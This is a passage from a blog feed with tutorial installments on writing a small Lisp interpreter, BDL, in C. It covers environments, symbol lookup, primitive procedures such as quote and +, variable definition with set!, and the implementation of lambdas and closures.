                    could use a HashTable data structure for this kind
                    of thing, since in theory its a O(1) lookup instead
                    of O(n). However, for small arrays a hash table
                    might actually be <em>slower</em>, since we may
                    incur more cache misses. In any case, a dynamic
                    array is easier to implement and understand for now,
                    we can always revisit this later as an optimization.
                    Here is how the <code>Environment</code> structure
                    looks like:</p>
                    <pre><code>typedef struct EnvEntry {
    Object *symbol;
    Object *value;
} EnvEntry;

typedef struct Environment {
    struct Environment *parent;
    EnvEntry *buf;
    size_t size;
    size_t cap;
} Environment;</code></pre>
                    <p>We will consider an Environment to be the top
                    level if <code>parent == NULL</code>. Now we just
                    need to create a couple of helper functions to
                    create and expand and environment:</p>
                    <pre><code>static Environment *global_env;

#define ENV_BUF_CAP 8

Environment *
env_create(Environment *parent) {
    Environment *env = malloc(sizeof(Environment));
    env-&gt;parent = parent;
    env-&gt;buf = NULL;
    env-&gt;size = 0;
    env-&gt;cap = ENV_BUF_CAP;
    return env;
}

void
env_add_symbol(Environment *env, Object *symbol, Object *value) {
    if (symbol-&gt;type != OBJ_TYPE_SYMBOL) {
        error_push((Error){
            .type = ERR_TYPE_RUNTIME,
            .value = ERR_NOT_A_SYMBOL,
            .line = 0,
            .col = 0,
        });
        return;
    }
    if (env-&gt;buf == NULL) {
        env-&gt;size = 0;
        env-&gt;cap = ENV_BUF_CAP;
        env-&gt;buf = malloc(env-&gt;cap * sizeof(EnvEntry));
    } else if (env-&gt;size == env-&gt;cap) {
        env-&gt;cap *= 2;
        env-&gt;buf = realloc(env-&gt;buf, env-&gt;cap * sizeof(EnvEntry));
    }
    env-&gt;buf[env-&gt;size++] = (EnvEntry){symbol, value};
}</code></pre>
                    <p>We create a global environment that we will be
                    initializing on the <code>init</code> function. We
                    add the <code>:a</code> symbol to the global
                    environment for testing purposes.</p>
                    <pre><code>    // Global environment.
    global_env = env_create(NULL);
    env_add_symbol(global_env, MAKE_SYM(&quot;a&quot;), make_fixnum(4)); // NOTE: for testing only</code></pre>
                    <p>Here we are using the <code>MAKE_SYM</code>
                    macro, which is a simple helper defined as
                    follows:</p>
                    <pre><code>#define MAKE_SYM(STR) make_symbol((StringView){(STR), sizeof(STR) - 1})</code></pre>
                    <p>Our lookup function is very simple:</p>
                    <pre><code>Object *
env_lookup(Environment *env, Object *symbol) {
    while (env != NULL) {
        for (size_t i = 0; i &lt; env-&gt;size; i++) {
            EnvEntry entry = env-&gt;buf[i];
            if (obj_eq(symbol, entry.symbol)) {
                return entry.value;
            }
        }
        env = env-&gt;parent;
    }
    return obj_err;
}</code></pre>
                    <p>It depends on the following equality function.
                    For simplicity we are not yet handling the
                    <code>OBJ_TYPE_PAIR</code>:</p>
                    <pre><code>bool
obj_eq(Object *a, Object* b) {
    if (a-&gt;type != b-&gt;type) {
        return false;
    }
    switch (a-&gt;type) {
        case OBJ_TYPE_FIXNUM: {
            return a-&gt;fixnum == b-&gt;fixnum;
        } break;
        case OBJ_TYPE_STRING: {
            if (a-&gt;string_n != b-&gt;string_n) {
                return false;
            }
            for (size_t i = 0; i &lt; a-&gt;string_n; i++) {
                if (a-&gt;string[i] != b-&gt;string[i]) {
                    return false;
                }
            }
        } break;
        case OBJ_TYPE_SYMBOL: {
            if (a-&gt;symbol_n != b-&gt;symbol_n) {
                return false;
            }
            for (size_t i = 0; i &lt; a-&gt;symbol_n; i++) {
                if (a-&gt;symbol[i] != b-&gt;symbol[i]) {
                    return false;
                }
            }
        } break;
        case OBJ_TYPE_PAIR: {
            // TODO: needs evaluation of parameters...
        } break;
        default: {
            return a == b;
        } break;
    }
    return true;
}</code></pre>
                    <p>Almost there! We have to modify the eval function
                    to accept an environment and add the symbol
                    lookup.</p>
                    <pre><code>Object *
eval(Environment* env, Object *root) {
        ...

        case OBJ_TYPE_SYMBOL: {
            Object *val = env_lookup(env, root);
            if (val == obj_err) {
                error_push((Error){
                    .type = ERR_TYPE_RUNTIME,
                    .value = ERR_SYMBOL_NOT_FOUND,
                    .line = 0,
                    .col = 0,
                });
                return obj_err;
            }
            return val;
        } break;

        ...</code></pre>
                    <p>If we test our previous script with this version,
                    we should get something like this:</p>
                    <pre><code>AST: 1
EVAL: 1
AST: &quot;test&quot;
EVAL: &quot;test&quot;
AST: true
EVAL: true
AST: false
EVAL: false
AST: ()
EVAL: ()
AST: :a
EVAL: 4
AST: (:quote :test)
EVAL: #{error}
test.bdl: error: symbol not found</code></pre>
                    <p>As you can see the evaluator is able to resolve
                    the <code>:a</code> symbol into the hardcoded value
                    <code>4</code>.</p>
                    <h2 id="procedure-evaluation">Procedure
                    evaluation</h2>
                    <p>Now that we have a way of resolving symbol
                    lookups, we can finally implement the execution of
                    native primitive procedures. If the object we are
                    currently trying to evaluate is a list, we try to
                    resolve the symbol for the first element. If the
                    resulting value is a primitive procedure, we call it
                    with the tail of the list as parameters.</p>
                    <pre><code>    case OBJ_TYPE_PAIR: {
        if (root-&gt;car-&gt;type == OBJ_TYPE_SYMBOL) {
            Object *val = env_lookup(env, root-&gt;car);
            if (val == obj_err) {
                error_push((Error){
                    .type = ERR_TYPE_RUNTIME,
                    .value = ERR_SYMBOL_NOT_FOUND,
                    .line = 0,
                    .col = 0,
                });
                return obj_err;
            }
            if (val-&gt;type == OBJ_TYPE_PROCEDURE) {
                return val-&gt;proc(env, root-&gt;cdr);
            }
            error_push((Error){
                .type = ERR_TYPE_RUNTIME,
                .value = ERR_OBJ_NOT_CALLABLE,
                .line = 0,
                .col = 0,
            });
            return obj_err;
        }
    } break;</code></pre>
                    <p>Note that native procedures don’t know about an
                    environment, so we need to modify our Object type to
                    consider this.</p>
                    <pre><code>typedef struct Object {
    ObjectType type;
    union {
        ...

        // OBJ_TYPE_PROCEDURE
        struct Object *(*proc)(struct Environment *env, struct Object *args);
    };
} Object;</code></pre>
                    <p>We are finally ready to add our first primitive
                    procedure. The simplest thing we can do is to
                    resolve the <code>quote</code> by returning (but not
                    evaluating) their arguments.</p>
                    <pre><code>Object *
proc_quote(Environment *env, Object *obj) {
    (void)env;
    return obj-&gt;car;
}</code></pre>
                    <p>Let’s add this primitive to the global
                    environment and a value for the <code>test</code>
                    symbol to ensure we are not evaluating it:</p>
                    <pre><code>    // Global environment.
    global_env = env_create(NULL);
    env_add_symbol(global_env, MAKE_SYM(&quot;a&quot;), make_fixnum(4)); // NOTE: for testing only
    env_add_symbol(global_env, MAKE_SYM(&quot;quote&quot;), make_procedure(proc_quote));
    env_add_symbol(global_env, MAKE_SYM(&quot;test&quot;), make_fixnum(6));</code></pre>
                    <p>Running our test script we now obtain the
                    following output:</p>
                    <pre><code>...
AST: (:quote :test)
EVAL: :test
AST: (:+ 1 2 (:+ 3 4))
EVAL: #{error}
test.bdl: error: symbol not found</code></pre>
                    <p>Hurray! It’s working! Now we can start adding a
                    lot of primitive functions, such as arithmetic
                    operations. Let’s test this by adding the
                    <code>proc_sum</code> procedure and binding it to
                    the symbol <code>+</code> on the global scope as
                    before:</p>
                    <pre><code>Object *
proc_sum(Environment *env, Object *obj) {
    // First argument.
    if (obj == obj_nil) {
        error_push((Error){
            .type = ERR_TYPE_RUNTIME,
            .value = ERR_NOT_ENOUGH_ARGS,
        });
        return obj_err;
    }
    Object *car = eval(env, obj-&gt;car);
    if (car == obj_err) {
        return obj_err;
    }
    if (car-&gt;type != OBJ_TYPE_FIXNUM) {
        error_push((Error){
            .type = ERR_TYPE_RUNTIME,
            .value = ERR_WRONG_ARG_TYPE,
        });
        return obj_err;
    }

    // Traverse the list.
    obj = obj-&gt;cdr;
    ssize_t tot = car-&gt;fixnum;
    while (obj-&gt;type == OBJ_TYPE_PAIR) {
        Object *car = eval(env, obj-&gt;car);
        if (car == obj_err) {
            return obj_err;
        }
        if (car-&gt;type != OBJ_TYPE_FIXNUM) {
            error_push((Error){
                .type = ERR_TYPE_RUNTIME,
                .value = ERR_WRONG_ARG_TYPE,
            });
            return obj_err;
        }
        tot += car-&gt;fixnum;
        obj = obj-&gt;cdr;
    }
    return make_fixnum(tot);
}

...
    env_add_symbol(global_env, MAKE_SYM(&quot;+&quot;), make_procedure(proc_sum));
...</code></pre>
                    <p>Exciting! If everything went well our little test
                    script should be working properly until the end
                    resulting in the final output of:</p>
                    <pre><code>AST: 1
EVAL: 1
AST: &quot;test&quot;
EVAL: &quot;test&quot;
AST: true
EVAL: true
AST: false
EVAL: false
AST: ()
EVAL: ()
AST: :a
EVAL: 4
AST: (:quote :test)
EVAL: :test
AST: (:+ 1 2 (:+ 3 4))
EVAL: 10</code></pre>
                    <h2 id="conclusion">Conclusion</h2>
                    <p>We now have the power to evaluate expressions and
                    of running primitive procedures. If you are
                    following along so far, you can try to implement
                    other primitives as an exercise. In the interest of
                    brevity, I added a number of primitive procedures in
                    the <code>src/bootstrap/primitives.c</code> file,
                    which you can find on the <a
                    href="https://git.badd10de.dev/bdl/tag/?h=v0.4">v0.4
                    tag</a> version of the source code. At the end of
                    this process you should be able to run
                    <code>make tests</code> successfully. This brings us
                    to parity with the <code>main</code> branch of the
                    interpreter, so we are threading in new ground for
                    me.</p>
                    <p>We are potentially leaking memory, but at this
                    point I’m ok with this, since we will be
                    implementing a garbage collector in future issues.
                    We are still not done with environments, however,
                    since we still need to allow the user to define
                    variables, functions and be able to change their
                    values with <code>set!</code>. Very soon we will
                    have access to lambda functions and our language
                    will be Turing complete. We will talk more about
                    this and more in the <a
                    href="/posts/building-bdl-part-4">next
                    installment</a> of this series. See you soon!</p>
                </div>
            </content>
        </entry>
                <entry>
            <title>ARTICLE // BDL: Part 4 (Lambdas and closures)</title>
            <link href="https://badd10de.dev//posts/building-bdl-part-4"/>
            <id>tag:badd10de.dev,2023:https://badd10de.dev//posts/building-bdl-part-4</id>
            <updated>2026-06-16T09:49:09Z</updated>
            <content type="xhtml">
                <div xmlns="http://www.w3.org/1999/xhtml">
                    <h2 id="introduction">Introduction</h2>
                    <p>A lot has changed since <a
                    href="/posts/building-bdl-part-3">last version</a>:
                    now our interpreter can call primitive functions,
                    allowing us to perform computations such as
                    arithmetic operations, checking the type of a given
                    object, or create new lists from previous ones. For
                    example:</p>
                    <pre><code>BDL REPL (Press Ctrl-D or Ctrl-C to exit)
bdl&gt; (+ 1 2 (* 2 5) 4)
17</code></pre>
                    <p>Neat huh? As of <a
                    href="https://git.badd10de.dev/bdl/tag/?h=v0.4">v0.4</a>
                    the following primitive procedures are available.
                    Note that procedures that return a boolean value are
                    suffixed with the <code>?</code> character.
                    Similarly, procedures that can mutate values will
                    have a <code>!</code> appended to them:</p>
                    <ul>
                    <li><code>(quote e)</code>: Return the arguments
                    without evaluation.</li>
                    <li><code>(car e)</code>: Return the head (first
                    element) of a list.</li>
                    <li><code>(cdr e)</code>: Return the tail (rest of
                    elements) of a list.</li>
                    <li><code>(cons a b)</code>: Creates a pair of
                    <code>a</code> and <code>b</code>.</li>
                    <li><code>(list ...)</code>: Creates a new list with
                    all given arguments.</li>
                    <li><code>(+ ...)</code>, <code>(- ...)</code>,
                    <code>(* ...)</code>, <code>(/ ...)</code>,
                    <code>(% ...)</code>: Perform arithmetic operations
                    left to right from all given fixnum arguments.</li>
                    <li><code>(print s)</code>: Print the given string.
                    Knows how to interpret the newline escape character
                    <code>'\n'</code>.</li>
                    <li><code>(display o)</code>: Display a
                    representation of a given object.</li>
                    <li><code>(newline)</code>: Prints a newline.</li>
                    <li><code>(boolean? o)</code>,
                    <code>(nil? o)</code>, <code>(symbol? o)</code>,
                    <code>(string? o)</code>, <code>(fixnum? o)</code>,
                    <code>(pair? o)</code>, <code>(procedure? o)</code>:
                    Checks the type of a given object.</li>
                    <li><code>(not o)</code>, <code>(and ...)</code>,
                    <code>(or ...)</code>: Performs logical
                    <code>not</code>, <code>and</code>, <code>or</code>
                    on the set of given objects. Note that any object
                    that is not the <code>obj_false</code> object is
                    considered <code>true</code> (i.e. numeric values,
                    strings, the empty list, etc.).</li>
                    <li><code>(if cond exp-true exp-false)</code>:
                    Depending on the boolean result of evaluating the
                    <code>cond</code> condition, we will evaluate either
                    <code>exp-true</code> or
                    <code>exp-false</code>.</li>
                    <li><code>(cond (cond-1 exp-1) (cond-2 exp-2) ... (else exp-n))</code>:
                    Sequentially evaluate the given <code>cond-x</code>
                    until we obtain a <code>true</code> result, in which
                    case that <code>exp-true</code> will be evaluated.
                    The last clause <code>else</code> is optional and is
                    in fact syntactic sugar for <code>true</code>.</li>
                    <li><code>(&lt; ...)</code>,
                    <code>(&lt;= ...)</code>, <code>(&gt; ...)</code>,
                    <code>(&gt;= ...)</code>, <code>(= ...)</code>:
                    Sequential numerical comparison for all given
                    arguments.</li>
                    <li><code>(eq? a b)</code>: Polymorphic equality. If
                    objects have different types, the result will always
                    be <code>false</code>. If strings or symbols are
                    given, it will check if the string or symbol name
                    fully match.</li>
                    </ul>
                    <p>Unless otherwise stated (Only for
                    <code>quote</code> really), any given expression
                    will be resolved before the parent one. For example,
                    this expression <code>(+ 1 (* 2 3) 4)</code> can be
                    traced as follows:</p>
                    <pre><code>1. Find symbol + in current environment.
2. Call proc_add with the tail of the list (1 (* 2 3) 4).
    2.1 Eval 1 as itself.
    2.2 Eval (* 2 3):
        2.2.1 Find symbol * in current environment
        2.2.2 Call `proc_mul` with (2 3)
        2.2.3 Return the result of 2 * 3 -&gt; 6
    2.3 Add 1 + 6 -&gt; 7
    2.4 Eval 4 as itself
    2.5 Add 7 + 4 -&gt; 11
3. Eval 11 as itself and return</code></pre>
                    <p>This is great, but we still have no way of
                    declaring our own variables or functions. This is
                    what we will be addressing today, so without further
                    ado, let’s get started.</p>
                    <h2 id="defining-and-setting-variables">Defining and
                    setting variables</h2>
                    <p>Let’s start by allowing the user to assign a
                    symbol to a given object. We will call this
                    procedure <code>proc_define</code> and assign it to
                    the global scope with the symbol <code>def</code>.
                    We want to be careful here, however, since we can
                    have nested environments. In other words, we first
                    try to find the given symbol in the current
                    environment and if we can’t find it, we add a new
                    symbol with the given value:</p>
                    <pre><code>Object *
proc_define(Environment *env, Object *obj) {
    if (obj == obj_nil || obj-&gt;cdr == obj_nil) {
        error_push((Error){
            .type = ERR_TYPE_RUNTIME,
            .value = ERR_NOT_ENOUGH_ARGS,
        });
        return obj_err;
    }

    Object *symbol = obj-&gt;car;
    if (symbol-&gt;type != OBJ_TYPE_SYMBOL) {
        error_push((Error){
            .type = ERR_TYPE_RUNTIME,
            .value = ERR_WRONG_ARG_TYPE,
        });
        return obj_err;
    }

    Object *value = eval(env, obj-&gt;cdr-&gt;car);
    if (value == obj_err) {
        return obj_err;
    }

    env_add_or_update_current(env, symbol, value);
    return obj_nil;
}</code></pre>
                    <p>We make use of the
                    <code>env_add_or_update_current</code> function,
                    since we may need to use it in other places of the
                    code:</p>
                    <pre><code>ssize_t
env_index_current(Environment *env, Object *symbol) {
    for (size_t i = 0; i &lt; env-&gt;size; i++) {
        EnvEntry entry = env-&gt;buf[i];
        if (obj_eq(symbol, entry.symbol)) {
            return i;
        }
    }
    return -1;
}

void
env_add_or_update_current(Environment *env, Object *symbol, Object *value) {
    ssize_t index = env_index_current(env, symbol);
    if (index == -1) {
        env_add_symbol(env, obj_duplicate(symbol), obj_duplicate(value));
    } else {
        env-&gt;buf[index].value = obj_duplicate(value);
    }
}</code></pre>
                    <p>Similarly, we add the <code>set!</code>
                    procedure, which will try to update an already
                    described value in the current environment or any of
                    the parents recursively.</p>
                    <pre><code>Object *
proc_set(Environment *env, Object *obj) {
    if (obj == obj_nil || obj-&gt;cdr == obj_nil) {
        error_push((Error){
            .type = ERR_TYPE_RUNTIME,
            .value = ERR_NOT_ENOUGH_ARGS,
        });
        return obj_err;
    }

    Object *symbol = obj-&gt;car;
    if (symbol-&gt;type != OBJ_TYPE_SYMBOL) {
        error_push((Error){
            .type = ERR_TYPE_RUNTIME,
            .value = ERR_WRONG_ARG_TYPE,
        });
        return obj_err;
    }

    Object *value = eval(env, obj-&gt;cdr-&gt;car);
    if (value == obj_err) {
        return obj_err;
    }

    return env_update(env, symbol, value);
}</code></pre>
                    <p>Here is the update function:</p>
                    <pre><code>Object *
env_update(Environment *env, Object *symbol, Object *value) {
    while (env != NULL) {
        for (size_t i = 0; i &lt; env-&gt;size; i++) {
            EnvEntry entry = env-&gt;buf[i];
            if (obj_eq(symbol, entry.symbol)) {
                env-&gt;buf[i].value = obj_duplicate(value);
                return obj_nil;
            }
        }
        env = env-&gt;parent;
    }
    error_push((Error){
        .type = ERR_TYPE_RUNTIME,
        .value = ERR_SYMBOL_NOT_FOUND,
    });
    return obj_err;
}</code></pre>
                    <p>You might have noticed a
                    <code>obj_duplicate</code> function, which we
                    currently have because we free all objects not in
                    the current root expression, so we want to make sure
                    we make a copy of them before assigning them to an
                    environment. We will hopefully get rid of this once
                    we have a garbage collector, but we need it for now
                    to keep things working:</p>
                    <pre><code>Object *
obj_duplicate(Object *obj) {
    Object *copy = obj_err;
    switch (obj-&gt;type) {
        case OBJ_TYPE_BOOL:
        case OBJ_TYPE_NIL:
        case OBJ_TYPE_PROCEDURE:
        case OBJ_TYPE_LAMBDA: // TODO: should we duplicate everything inside?
        case OBJ_TYPE_ERR: {
            copy = obj;
        } break;
        case OBJ_TYPE_FIXNUM: {
            copy = make_fixnum(obj-&gt;fixnum);
        } break;
        case OBJ_TYPE_SYMBOL: {
            copy = make_symbol((StringView){obj-&gt;symbol, obj-&gt;symbol_n});
        } break;
        case OBJ_TYPE_STRING: {
            copy = make_string();
            append_string(copy, (StringView){obj-&gt;string, obj-&gt;string_n});
        } break;
        case OBJ_TYPE_PAIR: {
            Object *root = make_pair(obj_duplicate(obj-&gt;car), obj_nil);
            copy = root;
            obj = obj-&gt;cdr;
            while (obj != obj_nil) {
                root-&gt;cdr = make_pair(obj_duplicate(obj-&gt;car), obj_nil);
                root = root-&gt;cdr;
                obj = obj-&gt;cdr;
            }
        } break;
    }
    return copy;
}</code></pre>
                    <p>We should be able to declare variables as
                    follows, which should return the value
                    <code>100</code>:</p>
                    <pre><code>(def a 20)
(def b 40)
(+ 40 a b)</code></pre>
                    <p>Note that the value assigned to a variable will
                    be evaluated before assignment, so you must use
                    quotation if you want to store unevaluated code:</p>
                    <pre><code>(def a (+ 1 2 3))
;; a == 6
(def b &#39;(+ 1 2 3))
;; b == (+ 1 2 3)</code></pre>
                    <p>This could come handy for metaprogramming, but we
                    also need a way of evaluating a series of operations
                    stored on a variable. We can do this with the
                    <code>proc_eval</code> primitive, which will
                    evaluate a given tree in the current environment. In
                    the previous example, <code>(eval b)</code> will
                    return <code>6</code>.</p>
                    <pre><code>Object *
proc_eval(Environment *env, Object *obj) {
    if (obj == obj_nil) {
        error_push((Error){
            .type = ERR_TYPE_RUNTIME,
            .value = ERR_NOT_ENOUGH_ARGS,
        });
        return obj_err;
    }
    return eval(env, eval(env, obj-&gt;car));
}</code></pre>
                    <p>We now have a way of assigning values to names,
                    but how do we define functions? Well user defined
                    functions will be called lambdas, and we can assign
                    lambda functions to symbols as well. Here is a sneak
                    peak of the syntax:</p>
                    <pre><code>(def myfun (lambda (a b) (+ a b)))</code></pre>
                    <p>This will assign the result of evaluating the
                    <code>lambda</code> primitive procedure to the
                    symbol named <code>myfun</code>. If we call
                    <code>(myfun 10 20)</code> we will get a result of
                    <code>30</code>. Declaring functions is such a
                    common operation that we define some syntactic sugar
                    for it with the <code>fun</code> primitive
                    procedure. The following is equivalent to the
                    previous expression:</p>
                    <pre><code>(fun myfun (a b) (+ a b))</code></pre>
                    <p>Let’s now talk about how to implement lambdas in
                    our language.</p>
                    <h2 id="lambdas-and-closures">Lambdas and
                    closures</h2>
                    <h3 id="motivation">Motivation</h3>
                    <p>First of all, let’s describe the semantics of a
                    lambda function. First of all, we have the names for
                    the variables we pass to the function. These are
                    called “formal parameters”. This lambda function
                    requires two formal parameters, <code>a</code> and
                    <code>b</code>: <code>(lambda (a b) (+ a b))</code>.
                    When calling a lambda function, the formal
                    parameters will be bound to the values given by the
                    caller, these are called “arguments” or “actual
                    parameters”. Following the previous example, we call
                    the lambda like this:
                    <code>((lambda (a b) (+ a b)) 40 50)</code>. Here,
                    the parameter <code>a</code> will be bound to
                    <code>40</code> and the parameter <code>b</code>
                    will be bound to the value <code>50</code>.</p>
                    <p>The “body” of a lambda expression is composed of
                    an arbitrary number of expressions, the lambda will
                    return the value of the last evaluated expression.
                    For example:</p>
                    <pre><code>(lambda (a b)
    (def c 20)
    (def d 40)
    (+ a b c d))</code></pre>
                    <p>The body of that lambda is composed of 3
                    expressions and the value returned by the lambda is
                    thus the result of the sum of the two actual
                    parameters and the values 20 and 40:</p>
                    <pre><code>(def c 20)
(def d 40)
(+ a b c d)</code></pre>
                    <p>So far this is pretty simple right? But what
                    happens if we evaluate the following series of
                    expressions?</p>
                    <pre><code>(def a 10)
(fun myfun ()
    (display a)
    (print &quot; --- &quot;)
    (def a 42)
    (display a)
    (newline))
(myfun)
(myfun)</code></pre>
                    <p>Think about it for a second. The answer actually
                    depends on the context of our language. For example,
                    we could get the following output:</p>
                    <pre><code>10 --- 42
42 --- 42</code></pre>
                    <p>This is perfectly fine, but what I actually want
                    for our language is for lambdas to capture the
                    current environment they are in. We want our
                    functions to be <a
                    href="https://en.wikipedia.org/wiki/Closure_(computer_programming)">closures</a>.
                    Conceptually, a lambda creates a new lexical scope,
                    and so modifications to local variables shouldn’t
                    affect the previous state. Thus, the output with
                    this in mind should be:</p>
                    <pre><code>10 --- 42
10 --- 42</code></pre>
                    <p>Note that the captured environment, in our case,
                    is a reference to a list of mappings, and so:</p>
                    <pre><code>(myfun)
(def a 20)
(myfun)</code></pre>
                    <p>Will result in:</p>
                    <pre><code>10 --- 42
20 --- 42</code></pre>
                    <p>Note that this behaviour might be different,
                    depending if the environment capture by the closure
                    is done by reference or by value. We will stick to
                    the aforementioned reference capture for now, as I
                    prefer the semantics.</p>
                    <p>Keep in mind that we can still modify the values
                    of variables from within a closure. For example:</p>
                    <pre><code>(def a 20)
(fun inc-a ()
    (set! a (+ a 1))
    a)
(inc-a) ; Returns 21
(inc-a) ; Returns 22
(inc-a) ; Returns 23</code></pre>
                    <p>If we define an internal symbol, it will be used
                    instead. We can still capture the previous reference
                    if we want! Isn’t that weird and
                    <code>fun</code>?</p>
                    <pre><code>(def a 20)
(fun myfun ()
     (def a a)
     (set! a (+ a 1))
     a)
(myfun) ; Returns 21
(myfun) ; Returns 21
(def a 30)
(myfun) ; Returns 31</code></pre>
                    <p>Closures allow us to be very expressive when
                    programming, and can be a powerful construct. For
                    example, look at this classic example:</p>
                    <pre><code>(fun make-counter ()
    (def value 0)
    (fun counter ()
        (set! value (+ value 1))
        value)
    counter)
(def counter-a (make-counter))
(def counter-b (make-counter))

(counter-a) ;; -&gt; 1
(counter-b) ;; -&gt; 1
(counter-a) ;; -&gt; 2
(counter-a) ;; -&gt; 3
(counter-a) ;; -&gt; 4
(counter-b) ;; -&gt; 2
(counter-b) ;; -&gt; 3
(counter-b) ;; -&gt; 4</code></pre>
                    <p>We have a function that creates a closure at
                    every call. Each new closure has it’s own
                    environment for the <code>value</code> symbol, which
                    allow us to create as many counters as we want.</p>
                    <h3 id="implementation">Implementation</h3>
                    <p>Hopefully I managed to convince you that closures
                    and lambdas are really cool, but how do we implement
                    them in C? We already have nested environments,
                    which is a good start. We can add a new object type
                    <code>OBJ_TYPE_LAMBDA</code> that keeps track of the
                    parameters and the body of the function. Note that
                    we need to forward declare the Environment struct to
                    get this to compile:</p>
                    <pre><code>...
    // OBJ_TYPE_PROCEDURE
    struct Object *(*proc)(struct Environment *env, struct Object *args);

    // OBJ_TYPE_LAMBDA
    struct {
        struct Object *params;
        struct Object *body;
        struct Environment *env;
    };
...</code></pre>
                    <p>We now can create two primitive procedures, one
                    for the lambda function and another for the
                    syntactic sugar for a named function:</p>
                    <pre><code>Object *
proc_lambda(Environment *env, Object *obj) {
    if (obj == obj_nil || obj-&gt;cdr == obj_nil) {
        error_push((Error){
            .type = ERR_TYPE_RUNTIME,
            .value = ERR_NOT_ENOUGH_ARGS,
        });
        return obj_err;
    }
    Object *params = obj-&gt;car;
    if (params != obj_nil &amp;&amp; params-&gt;type != OBJ_TYPE_PAIR) {
        error_push((Error){
            .type = ERR_TYPE_RUNTIME,
            .value = ERR_WRONG_ARG_TYPE,
        });
        return obj_err;
    }
    Object *body = obj-&gt;cdr;
    Object *fun = alloc_object(OBJ_TYPE_LAMBDA);
    fun-&gt;params = obj_duplicate(params);
    fun-&gt;body = obj_duplicate(body);
    fun-&gt;env = env;
    return fun;
}

Object *
proc_fun(Environment *env, Object *obj) {
    if (obj == obj_nil || obj-&gt;cdr == obj_nil || obj-&gt;cdr-&gt;cdr == obj_nil) {
        error_push((Error){
            .type = ERR_TYPE_RUNTIME,
            .value = ERR_NOT_ENOUGH_ARGS,
        });
        return obj_err;
    }

    Object *name = obj-&gt;car;
    if (name-&gt;type != OBJ_TYPE_SYMBOL) {
        error_push((Error){
            .type = ERR_TYPE_RUNTIME,
            .value = ERR_WRONG_ARG_TYPE,
        });
        return obj_err;
    }

    Object *params = obj-&gt;cdr-&gt;car;
    if (params != obj_nil &amp;&amp; params-&gt;type != OBJ_TYPE_PAIR) {
        error_push((Error){
            .type = ERR_TYPE_RUNTIME,
            .value = ERR_WRONG_ARG_TYPE,
        });
        return obj_err;
    }
    Object *body = obj-&gt;cdr-&gt;cdr;
    Object *fun = alloc_object(OBJ_TYPE_LAMBDA);
    fun-&gt;params = obj_duplicate(params);
    fun-&gt;body = obj_duplicate(body);
    fun-&gt;env = env;
    env_add_or_update_current(env, name, fun);
    return obj_nil;
}</code></pre>
                    <p>Now we can turn our attention to the lambda
                    evaluation. We have two possible cases: named and
                    anonymous functions. For a function to be called it
                    needs to be the first element of a list. So if we
                    have a symbol as the first element, we look it up on
                    the current environment to hopefully obtain a
                    primitive procedure or a lambda, if we can’t find
                    the symbol or it is neither of those two, we throw
                    an uncallable error. We could also have a list that
                    after the evaluation returns a lambda procedure. So
                    with that in mind, we can update our evaluation of
                    <code>OBJ_TYPE_PAIR</code> as follows:</p>
                    <pre><code>...
                 if (val-&gt;type == OBJ_TYPE_PROCEDURE) {
                     return val-&gt;proc(env, root-&gt;cdr);
                 }
                 if (val-&gt;type == OBJ_TYPE_LAMBDA) {
                     goto eval_lambda;
                 }
                 error_push((Error){
                     .type = ERR_TYPE_RUNTIME,
                     .value = ERR_OBJ_NOT_CALLABLE,
                 });
                 return obj_err;
             }
             Object* lambda;
 eval_lambda:
             lambda = eval(env, root-&gt;car);
             if (lambda == obj_err) {
                 return obj_err;
             }
             if (lambda-&gt;type == OBJ_TYPE_LAMBDA) {
                 Object *fun = lambda;
                 Object *args = root-&gt;cdr;
                 Object *params = fun-&gt;params;
                 env = env_extend(fun-&gt;env, env);
                 while (params != obj_nil) {
                     if (args == obj_nil) {
                         error_push((Error){
                             .type = ERR_TYPE_RUNTIME,
                             .value = ERR_NOT_ENOUGH_ARGS,
                         });
                         return obj_err;
                     }
                     Object *symbol = params-&gt;car;
                     Object *value = eval(env, args-&gt;car);
                     if (value == obj_err) {
                         return obj_err;
                     }
                     if (value == obj_nil) {
                         error_push((Error){
                             .type = ERR_TYPE_RUNTIME,
                             .value = ERR_NOT_ENOUGH_ARGS,
                         });
                         return obj_err;
                     }
                     env_add_or_update_current(env, symbol, value);
                     args = args-&gt;cdr;
                     params = params-&gt;cdr;
                 }
                 if (args != obj_nil) {
                     error_push((Error){
                         .type = ERR_TYPE_RUNTIME,
                         .value = ERR_TOO_MANY_ARGS,
                     });
                     return obj_err;
                 }
                 root = fun-&gt;body;
                 while (root-&gt;cdr != obj_nil) {
                     if (eval(env, root-&gt;car) == obj_err) {
                         return obj_err;
                     };
                     root = root-&gt;cdr;
                 }
                 return eval(env, root-&gt;car);
             }</code></pre>
                    <p>Oof that is a lot! First things first, yes we are
                    using a GOTO as a way of deduplicating the code, and
                    this has another purpose. We didn’t think much about
                    this yet, but we should try to ensure that our
                    function calls perform tail-call optimizations
                    (TCO). Not that this is necessarily the case now,
                    but in the future we will test these assumptions and
                    ensure this is the case, and we will probably make
                    use of GOTOs for that as well. In any case, let’s
                    break that down:</p>
                    <pre><code>        if (val-&gt;type == OBJ_TYPE_PROCEDURE) {
            return val-&gt;proc(env, root-&gt;cdr);
        }
        if (val-&gt;type == OBJ_TYPE_LAMBDA) {
            goto eval_lambda;
        }</code></pre>
                    <p>This just check if the value associated with a
                    symbol is a lambda function and jumps to that
                    evaluation. Note that there is a small bug in this
                    code since:</p>
                    <pre><code>             Object* lambda;
 eval_lambda:
             lambda = eval(env, root-&gt;car);
             if (lambda == obj_err) {
                 return obj_err;
             }</code></pre>
                    <p>Will perform the evaluation again, meaning that
                    <code>proc_lambda</code> will be called twice when
                    we run a lambda function from within a symbol. This
                    will be addressed in the next update, but let’s keep
                    going for now:</p>
                    <pre><code>                 Object *fun = lambda;
                 Object *args = root-&gt;cdr;
                 Object *params = fun-&gt;params;
                 env = env_extend(fun-&gt;env, env);</code></pre>
                    <p>This is the most critical part for creating
                    closures. We “extend” the environment that was
                    registered by our lambda with the symbols from the
                    current environment. What it’s actually happening is
                    that we instantiate a new environment that has the
                    lambda environment as a parent. In this new
                    environment, we copy all the non-existing symbols
                    from the current calling environment.</p>
                    <pre><code>Environment *
env_extend(Environment *parent, Environment *extra) {
    Environment *env = env_create(parent);
    for (size_t i = 0; i &lt; extra-&gt;size; i++) {
        EnvEntry entry = extra-&gt;buf[i];
        Environment *tmp = env;
        bool found = false;
        while (tmp != NULL) {
            if (env_index_current(tmp, entry.symbol) != -1) {
                found = true;
                break;
            }
            tmp = tmp-&gt;parent;
        }
        if (!found) {
            env_add_symbol(env, obj_duplicate(entry.symbol), obj_duplicate(entry.value));
        }
    }
    return env;
}</code></pre>
